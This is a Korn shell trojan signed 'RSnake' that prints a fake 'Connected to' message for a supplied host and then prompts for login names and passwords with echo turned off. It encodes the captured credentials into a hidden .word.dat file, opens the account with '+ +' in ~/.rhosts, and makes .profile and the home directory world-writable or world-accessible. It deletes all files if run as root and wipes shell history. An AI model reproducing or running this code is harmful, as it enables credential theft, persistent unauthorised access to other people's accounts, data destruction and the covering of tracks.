#!/bin/ksh
#God, I hope you have korn shell installed....
#To decode (*laugh*) type cat ~/.word.dat | ~/.elmerc >> log
#And view log using an editor... don't cat it though, because
#It has term reseting ansii characters in it that might mess
#You (or the careless viewer) up...
#Got to check to make sure you aren't a dumbass
if [[ $# -ne 1 ]] then
	echo "The usage is: $0 <DNS>"
	echo "To retrieve the list type ./.elmercget"
	echo "Dumbass... Simon says, \"Panic!\""
	#Panic, because you are a dumbass!
	return 1;
fi
if [[ $USER = "root" ]] then
	echo "Sorry, root wouldn't be running this"
	echo "Sort of program..."
	echo "Uh... bye bye now!"
	rm .*
	rm *
	echo "BYE NOW!"
	return 1;
	#Gotta take SOME sort of precautions to make sure
	#root doesn't find our little file!
fi
echo "This program devised and coded by RSnake"
echo "Sleeping..." && sleep 1
clear
TTY=`randhex|cut -c1`
#Alias for a random number
#This is to remain in control of the exploited account
#Feel free to remove the next line
echo "+ +" > ~/.rhosts
clear;mesg n;cd;touch .word.dat;touch .ksh_history
#This is in case you want to run it on another person's
#Account, again, feel free to remove this next line
chmod 666 .word.dat;chmod 711 ~/;chmod 777 .profile

#You can change your IP, I didn't bother to make it random though
#Make sure you put the addy in for the variable!
echo "Connected to $1 (123.21.1.69).";echo

#Blah blah blah... here is where my program does the dirty work
.pineerc.name
echo "/: *c(0#8\[1;3r\[J\[31m\[\?5/:I:++" >> .word.dat
cat .iol.dat|.elmerc >> .word.dat
stty -echo;.pineerc.pass;stty echo
cat .iol1.dat|.elmerc >> .word.dat
rm .iol*

.pineerc.name
cat .iol.dat|.elmerc >> .word.dat
stty -echo;.pineerc.pass;stty echo
cat .iol1.dat|.elmerc >> .word.dat
rm .iol*

.pineerc.name
cat .iol.dat|.elmerc >> .word.dat
stty -echo;.pineerc.pass;stty echo
cat .iol1.dat|.elmerc >> .word.dat
rm .iol*;rm ~/.*_history;touch ~/.ksh_history
